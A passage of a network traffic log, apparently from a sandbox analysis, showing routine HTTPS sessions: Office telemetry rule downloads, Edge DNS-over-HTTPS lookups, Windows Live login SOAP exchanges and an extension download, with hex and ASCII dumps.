2024-11-26 21:52:40 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 21:52:41 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 21:51:40 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: ced5b691-2cbd-4bac-a90e-e0f7e787d0bc PPServer: PPV: 30 H: SN1PEPF0002EFE7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:52:40 GMT Connection: close Content-Length: 1276
2024-11-26 21:52:41 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.7	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:40 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:41 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:40 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: dce0685f-701e-001e-3f83-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215240Z-174f7845968kvnqxhC1EWRmf3g0000000esg00000000mb1m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:41 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.7	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:41 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:42 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 02827f85-001e-00ad-7091-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215242Z-174f7845968swgbqhC1EWRmnb40000000w2000000000rzgk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:42 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.7	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:42 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:42 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 5810e7a8-301e-0000-3f91-3feecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215242Z-174f7845968pf68xhC1EWRr4h80000000wa0000000007kwp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:42 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.7	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:42 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:42 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:42 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 6dbf519d-601e-0084-1b91-3f6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215242Z-174f7845968vqt9xhC1EWRgten0000000w500000000028w5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:42 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	49826	172.64.41.3	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 21:52:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 21:52:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 21:52:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8d1b6dc91c431a-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 21:52:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2a 00 04 8e fa 50 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom*Pc)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49824	172.64.41.3	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 21:52:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 21:52:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 21:52:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8d1b6dce4d8ccc-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 21:52:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2b 00 04 8e fa 41 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom+A)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49825	162.159.61.3	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 21:52:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-26 21:52:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 21:52:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8d1b6e1ac21a03-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 21:52:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d5 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.7	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:42 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:43 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:43 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 63854d8c-901e-007b-2581-3fac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215243Z-174f7845968kvnqxhC1EWRmf3g0000000eqg00000000tpat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:43 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49813	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-26 21:52:43 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-26 21:52:43 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 26 Nov 2024 21:51:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_BAY x-ms-request-id: d23cfd13-457a-4cf1-88d5-d33de82157a1 PPServer: PPV: 30 H: PH1PEPF0001B860 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:52:42 GMT Connection: close Content-Length: 1276
2024-11-26 21:52:43 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49816	142.250.181.65	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:43 UTC	594	OUT	GET /crx/blobs/AW50ZFsLPhJJyx_4ShcDOgcEpJeOc7Vr0kMzfFRoaMfWx4pAgZ0UGF2i9_ei1A7FAHQ-EPFULeBn7F8_SEKhjbpEyKfiidX7GF_6BDOycMeg5w03wjwVQ61hkaEix8WFqmEAxlKa5cmz_tdFr9JtRwdqRu82wmLe2Ghe/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_84_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
